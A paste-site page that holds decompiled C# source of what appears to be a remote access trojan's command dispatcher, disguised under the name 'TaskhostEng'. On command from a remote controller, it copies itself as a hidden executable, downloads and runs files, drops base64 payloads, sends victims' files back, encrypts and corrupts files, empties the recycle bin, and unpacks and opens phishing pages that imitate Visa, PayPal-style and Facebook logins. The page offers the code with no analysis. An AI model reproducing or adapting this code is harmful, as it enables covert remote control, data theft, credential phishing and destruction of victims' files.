- File.Copy(Application.ExecutablePath, Conversions.ToString(Operators.AddObject(array[1] + "\\", TaskhostEng.vvname)), true);
- File.SetAttributes(array[1] + ".EXE", FileAttributes.Hidden);
- return;
- }
- catch (Exception ex28)
- {
- Interaction.MsgBox(ex28.Message, MsgBoxStyle.OkOnly, null);
- return;
- }
- }
- if (Operators.CompareString(left, "EMNS", false) == 0)
- {
- File.Encrypt(array[1]);
- }
- else if (Operators.CompareString(left, "EMNqS", false) == 0)
- {
- File.Decrypt(array[1]);
- }
- else if (Operators.CompareString(left, "Cuut", false) == 0)
- {
- TaskhostEng.Copy_cut = array[1];
- }
- else if (Operators.CompareString(left, "Cuutod", false) == 0)
- {
- TaskhostEng.Copy_cut = array[1];
- }
- else
- {
- if (Operators.CompareString(left, "Cuutodsd", false) == 0)
- {
- try
- {
- File.Move(TaskhostEng.Copy_cut, array[1]);
- return;
- }
- catch (Exception ex29)
- {
- Interaction.MsgBox(ex29.Message, MsgBoxStyle.OkOnly, null);
- return;
- }
- }
- if (Operators.CompareString(left, "dCopsx", false) == 0)
- {
- try
- {
- File.Copy(TaskhostEng.Copy_cut, array[1], true);
- return;
- }
- catch (Exception ex30)
- {
- Interaction.MsgBox(ex30.Message, MsgBoxStyle.OkOnly, null);
- return;
- }
- }
- if (Operators.CompareString(left, "camhost", false) == 0)
- {
- TaskhostEng.C.Send("camhost" + TaskhostEng.Yy + TaskhostEng.HOST);
- }
- else if (Operators.CompareString(left, "CLLSKXOa", false) == 0)
- {
- IntPtr handle3 = TaskhostEng.invoker.Handle;
- int num40 = handle3.ToInt32();
- string text18 = null;
- TaskhostEng.SHEmptyRecycleBin(num40, ref text18, 5);
- TaskhostEng.SHUpdateRecycleBinIcon();
- }
- else
- {
- if (Operators.CompareString(left, "sqlwordlist", false) == 0)
- {
- try
- {
- string str6 = Path.GetTempPath() + "sqlmap\\txt\\";
- if (File.Exists(str6 + array[1]))
- {
- return;
- }
- File.WriteAllBytes(str6 + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- TaskhostEng.C.Send("rarsql");
- return;
- }
- catch (Exception ex31)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "rarsql", false) == 0)
- {
- try
- {
- if (File.Exists(Path.GetTempPath() + array[1]))
- {
- if (TaskhostEng.sqlrared)
- {
- }
- }
- else
- {
- File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- TaskhostEng.sqlrared = true;
- TaskhostEng.C.Send("rarsql");
- }
- return;
- }
- catch (Exception ex32)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "unrarsql", false) == 0)
- {
- try
- {
- if (TaskhostEng.sqlunrared)
- {
- return;
- }
- string text22 = Path.GetTempPath() + "sqlmap.rar";
- string text23 = text22.Replace(".rar", "");
- if (!Directory.Exists(text23))
- {
- Directory.CreateDirectory(text23);
- }
- string text24 = Path.GetTempPath() + "\\UnRAR ";
- string pathName = string.Concat(new string[]
- {
- text24,
- "x ",
- text22,
- " ",
- text23
- });
- Interaction.Shell(pathName, AppWinStyle.MinimizedFocus, false, -1);
- TaskhostEng.sqlunrared = true;
- return;
- }
- catch (Exception ex33)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "visarar", false) == 0)
- {
- if (!File.Exists(Path.GetTempPath() + array[1]))
- {
- File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- }
- try
- {
- string text25 = Path.GetTempPath() + "visa.rar";
- string text26 = text25.Replace(".rar", "");
- if (!Directory.Exists(text26))
- {
- Directory.CreateDirectory(text26);
- }
- string text27 = Path.GetTempPath() + "\\UnRAR ";
- string pathName2 = string.Concat(new string[]
- {
- text27,
- "x ",
- text25,
- " ",
- text26
- });
- Interaction.Shell(pathName2, AppWinStyle.MinimizedFocus, false, -1);
- return;
- }
- catch (Exception ex34)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "fbrar", false) == 0)
- {
- if (!File.Exists(Path.GetTempPath() + array[1]))
- {
- File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- }
- try
- {
- string text28 = Path.GetTempPath() + "fb.rar";
- string text29 = text28.Replace(".rar", "");
- if (!Directory.Exists(text29))
- {
- Directory.CreateDirectory(text29);
- }
- string text30 = Path.GetTempPath() + "\\UnRAR ";
- string pathName3 = string.Concat(new string[]
- {
- text30,
- "x ",
- text28,
- " ",
- text29
- });
- Interaction.Shell(pathName3, AppWinStyle.MinimizedFocus, false, -1);
- return;
- }
- catch (Exception ex35)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "payrar", false) == 0)
- {
- if (!File.Exists(Path.GetTempPath() + array[1]))
- {
- File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- }
- try
- {
- string text31 = Path.GetTempPath() + "pay.rar";
- string text32 = text31.Replace(".rar", "");
- if (!Directory.Exists(text32))
- {
- Directory.CreateDirectory(text32);
- }
- string text33 = Path.GetTempPath() + "\\UnRAR ";
- string pathName4 = string.Concat(new string[]
- {
- text33,
- "x ",
- text31,
- " ",
- text32
- });
- Interaction.Shell(pathName4, AppWinStyle.MinimizedFocus, false, -1);
- return;
- }
- catch (Exception ex36)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "visa", false) == 0)
- {
- if (File.Exists(Path.GetTempPath() + "visa\\index.html"))
- {
- Process.Start(Path.GetTempPath() + "visa\\index.html");
- }
- }
- else if (Operators.CompareString(left, "scam", false) == 0)
- {
- if (File.Exists(Path.GetTempPath() + "pay\\Log in to your account.html"))
- {
- Process.Start(Path.GetTempPath() + "pay\\Log in to your account.html");
- }
- }
- else if (Operators.CompareString(left, "facebook", false) == 0)
- {
- if (File.Exists(Path.GetTempPath() + "fb\\index.html"))
- {
- Process.Start(Path.GetTempPath() + "fb\\index.html");
- }
- }
- else if (Operators.CompareString(left, "getsqlmappath", false) == 0)
- {
- TaskhostEng.C.Send("sqlmappath" + TaskhostEng.Yy + Path.GetTempPath() + "sqlmap");
- }
- else if (Operators.CompareString(left, "WriteRAR", false) == 0)
- {
- if (!File.Exists(Path.GetTempPath() + array[1]))
- {
- File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- }
- }
- else if (Operators.CompareString(left, "WriteUNRAR", false) == 0)
- {
- if (!File.Exists(Path.GetTempPath() + array[1]))
- {
- File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- }
- }
- else if (Operators.CompareString(left, "EIIT", false) == 0)
- {
- string text34 = Path.GetTempPath() + "\\RAR ";
- string text35 = array[1];
- string text36 = array[2] + ".rar";
- Interaction.Shell(string.Concat(new string[]
- {
- text34,
- "a -r ",
- array[1],
- text36,
- " ",
- text35
- }), AppWinStyle.MinimizedFocus, false, -1);
- }
- else
- {
- if (Operators.CompareString(left, "Decrar", false) == 0)
- {
- try
- {
- string text37 = array[1].Replace(".rar", "");
- if (!Directory.Exists(text37))
- {
- Directory.CreateDirectory(text37);
- }
- string text38 = array[1];
- string text39 = Path.GetTempPath() + "\\UnRAR ";
- string pathName5 = string.Concat(new string[]
- {
- text39,
- "x ",
- text38,
- " ",
- text37
- });
- Interaction.Shell(pathName5, AppWinStyle.MinimizedFocus, false, -1);
- return;
- }
- catch (Exception ex37)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "Rename", false) == 0)
- {
- string left10 = array[1];
- if (Operators.CompareString(left10, "Folder", false) == 0)
- {
- MyProject.Computer.FileSystem.RenameDirectory(array[2], array[3]);
- }
- else if (Operators.CompareString(left10, "File", false) == 0)
- {
- MyProject.Computer.FileSystem.RenameFile(array[2], array[3]);
- }
- }
- else if (Operators.CompareString(left, "sendfile", false) == 0)
- {
- File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- Process.Start(Path.GetTempPath() + array[1]);
- TaskhostEng.C.Send("Coloreg");
- }
- else if (Operators.CompareString(left, "playmusic", false) == 0)
- {
- MyProject.Computer.Audio.Play(array[1], AudioPlayMode.Background);
- }
- else if (Operators.CompareString(left, "getdesktoppath", false) == 0)
- {
- string folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
- TaskhostEng.C.Send("getpath" + TaskhostEng.Yy + folderPath2 + "\\");
- }
- else if (Operators.CompareString(left, "gettemppath", false) == 0)
- {
- string tempPath = Path.GetTempPath();
- TaskhostEng.C.Send("getpath" + TaskhostEng.Yy + tempPath);
- }
- else if (Operators.CompareString(left, "getstartuppath", false) == 0)
- {
- string folderPath3 = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
- TaskhostEng.C.Send("getpath" + TaskhostEng.Yy + folderPath3 + "\\");
- }
- else if (Operators.CompareString(left, "getmydocumentspath", false) == 0)
- {
- string folderPath4 = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
- TaskhostEng.C.Send("getpath" + TaskhostEng.Yy + folderPath4 + "\\");
- }
- else if (Operators.CompareString(left, "getmydocumentspath", false) == 0)
- {
- string folderPath5 = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
- TaskhostEng.C.Send("getpath" + TaskhostEng.Yy + folderPath5 + "\\");
- }
- else if (Operators.CompareString(left, "getmydocumentspath", false) == 0)
- {
- string folderPath6 = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
- TaskhostEng.C.Send("getpath" + TaskhostEng.Yy + folderPath6 + "\\");
- }
- else if (Operators.CompareString(left, "edittextfile", false) == 0)
- {
- StreamReader streamReader5 = new StreamReader(array[1]);
- string text40 = streamReader5.ReadToEnd();
- streamReader5.Close();
- TaskhostEng.C.Send(string.Concat(new string[]
- {
- "edittextfile",
- TaskhostEng.Yy,
- array[1],
- TaskhostEng.Yy,
- text40
- }));
- }
- else if (Operators.CompareString(left, "savetextfile", false) == 0)
- {
- StreamWriter streamWriter = new StreamWriter(array[1]);
- streamWriter.WriteLine(array[2]);
- streamWriter.Close();
- }
- else
- {
- if (Operators.CompareString(left, "creatnewtextfile", false) == 0)
- {
- try
- {
- File.Create(array[1]).Dispose();
- return;
- }
- catch (Exception ex38)
- {
- TaskhostEng.C.Send(string.Concat(new string[]
- {
- "msgbox",
- TaskhostEng.Yy,
- "Information",
- TaskhostEng.Yy,
- "File Name Already Exists"
- }));
- return;
- }
- }
- if (Operators.CompareString(left, "setaswallpaper", false) == 0)
- {
- TaskhostEng.SystemParametersInfo(0x14, 0, ref array[1], 1);
- }
- else if (Operators.CompareString(left, "sendfileto", false) == 0)
- {
- File.WriteAllBytes(array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- }
- else
- {
- if (Operators.CompareString(left, "creatnewfolder", false) == 0)
- {
- try
- {
- MyProject.Computer.FileSystem.CreateDirectory(array[1]);
- return;
- }
- catch (Exception ex39)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "hidefolderfile", false) == 0)
- {
- FileAttribute attributes = FileAttribute.Hidden;
- try
- {
- FileSystem.SetAttr(array[1], attributes);
- return;
- }
- catch (Exception ex40)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "download", false) == 0)
- {
- WebClient webClient = new WebClient();
- string text41 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + array[2];
- if (File.Exists(text41))
- {
- File.Delete(text41);
- }
- File.WriteAllBytes(text41, webClient.DownloadData(array[1]));
- Process.Start(text41);
- TaskhostEng.C.Send("Coloreg");
- }
- else
- {
- if (Operators.CompareString(left, "showfolderfile", false) == 0)
- {
- FileAttribute attributes2 = FileAttribute.Normal;
- try
- {
- FileSystem.SetAttr(array[1], attributes2);
- return;
- }
- catch (Exception ex41)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "downloadfile", false) == 0)
- {
- TaskhostEng.C.Send(string.Concat(new string[]
- {
- "downloadedfile",
- TaskhostEng.Yy,
- Convert.ToBase64String(File.ReadAllBytes(array[1])),
- TaskhostEng.Yy,
- array[2]
- }));
- }
- else if (Operators.CompareString(left, "corrupt", false) == 0)
- {
- string str7 = "OP0 01 01 200 01 02OP";
- StreamReader streamReader6 = new StreamReader(array[1]);
- string str8 = streamReader6.ReadToEnd();
- streamReader6.Close();
- MyProject.Computer.FileSystem.WriteAllText(array[1], str7 + str8, false);
- }
- else if (Operators.CompareString(left, "tt", false) == 0)
- {
- TaskhostEng.C.Send("tt");
- }
- else
- {
- if (Operators.CompareString(left, "Upload", false) == 0)
- {
- try
- {
- if (File.Exists(array[1]))
- {
- File.Delete(array[1]);
- }
- FileStream fileStream = new FileStream(array[1], FileMode.Create, FileAccess.Write);
- byte[] array47 = TaskhostEng.SB(array[3]);
- byte[] array48 = new byte[array47.Length - 2 + 1];
- Array.Copy(array47, 0, array48, 0, array48.Length);
- fileStream.Write(array48, 0, array48.Length);
- fileStream.Close();
- TaskhostEng.C.Send("NextPartOfUpload" + TaskhostEng.Yy + array[2]);
- return;
- }
- catch (Exception ex42)
- {
- TaskhostEng.C.Send("UploadFailed" + TaskhostEng.Yy + array[2]);
- return;
- }
- }
- if (Operators.CompareString(left, "UploadContinue", false) == 0)
- {
- try
- {
- IL_4E44:
- FileStream fileStream2 = new FileStream(array[1], FileMode.Append, FileAccess.Write);
- byte[] array49 = TaskhostEng.SB(array[3]);
- byte[] array50 = new byte[array49.Length - 2 + 1];
- Array.Copy(array49, 0, array50, 0, array50.Length);
- fileStream2.Write(array50, 0, array50.Length);
- fileStream2.Close();
- TaskhostEng.C.Send("NextPartOfUpload" + TaskhostEng.Yy + array[2]);
- return;
- }
- catch (Exception ex43)
- {
- goto IL_4E44;
- }
- }
- if (Operators.CompareString(left, "CancelUpload", false) == 0)
- {
- for (;;)
- {
- try
- {
- if (File.Exists(array[1]))
- {
- File.Delete(array[1]);
- }
- }
- catch (Exception ex44)
- {
- continue;
- }
- break;
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- catch (Exception ex45)
- {
- }
- }
- }
Add Comment
Please, Sign In to add comment